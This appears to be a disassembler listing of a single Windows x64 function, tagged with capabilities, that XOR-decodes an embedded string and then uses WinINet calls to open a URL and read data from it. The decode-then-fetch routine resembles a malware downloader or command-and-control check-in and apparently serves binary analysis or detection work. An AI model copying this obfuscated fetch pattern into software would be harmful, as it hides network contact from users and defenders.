Function at 0x140002af0
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0xb0
mov rax, qword [0x1400a9020]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov eax, dword [0x14009b940]
xor ebx, ebx
cmp dword [0x1400a9030], 2
mov ecx, ebx
movups xmm0, xmmword [str.CLII]
mov dword [rsp + 0x70], eax
movzx eax, word [0x14009b944]
movups xmm1, xmmword [0x14009b930]
mov word [rsp + 0x74], ax
movzx eax, byte [0x14009b946]
mov byte [rsp + 0x76], al
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm1
jl 0x140002ccf
movdqa xmm0, xmmword [str.6666666666666666]
lea rdx, [r11 - 0x64]
movdqa xmm5, xmmword [0x14009c520]
mov eax, 4
movdqa xmm4, xmmword [0x14009c8e0]
movaps xmmword [r11 - 0x18], xmm6
movaps xmmword [r11 - 0x28], xmm7
movdqa xmm7, xmmword [str.2222]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rsp + 0x40], xmm0
mov r8d, dword [rsp + 0x40]
movaps xmmword [r11 - 0x38], xmm8
movd xmm8, eax
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x14009c540]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14009c540]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
pxor xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x20
jl 0x140002bb0
movaps xmm8, xmmword [rsp + 0x80]
movaps xmm7, xmmword [rsp + 0x90]
movaps xmm6, xmmword [rsp + 0xa0]
cmp ecx, 0x27
jge 0x140002d0d
movsxd rax, ecx
lea r8, [rsp + 0x50]
add r8, rax
nop word [rax + rax]
mov eax, 0x51eb851f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
movzx eax, cl
inc ecx
sub al, dl
add al, 0x36
xor byte [r8 - 1], al
cmp ecx, 0x27
jl 0x140002ce0
lea r8, [0x1400aefb0]
lea rdx, [rsp + 0x50]
lea rcx, [0x1400aed50]
call fcn.140007010
xor r9d, r9d
mov byte [0x1400aee60], bl
xor r8d, r8d
mov dword [rsp + 0x20], ebx
xor edx, edx
lea rcx, [0x14008ec73]
call qword [sym.imp.WININET.dll_InternetOpenA]
test rax, rax
je 0x140002dc1
mov qword [rsp + 0x28], rbx
lea rdx, [0x1400aed50]
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor r8d, r8d
mov qword [rsp + 0xc0], rdi
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rdi, [0x1400aee60]
mov rbx, rax
test rax, rax
je 0x140002d96
lea r9, [rsp + 0x30]
mov r8d, 0xff
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [rsp + 0x30]
mov byte [rdx + rdi], 0
test edx, edx
je 0x140002db9
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, rdi
mov rdi, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14004fbe0
add rsp, 0xb0
pop rbx
ret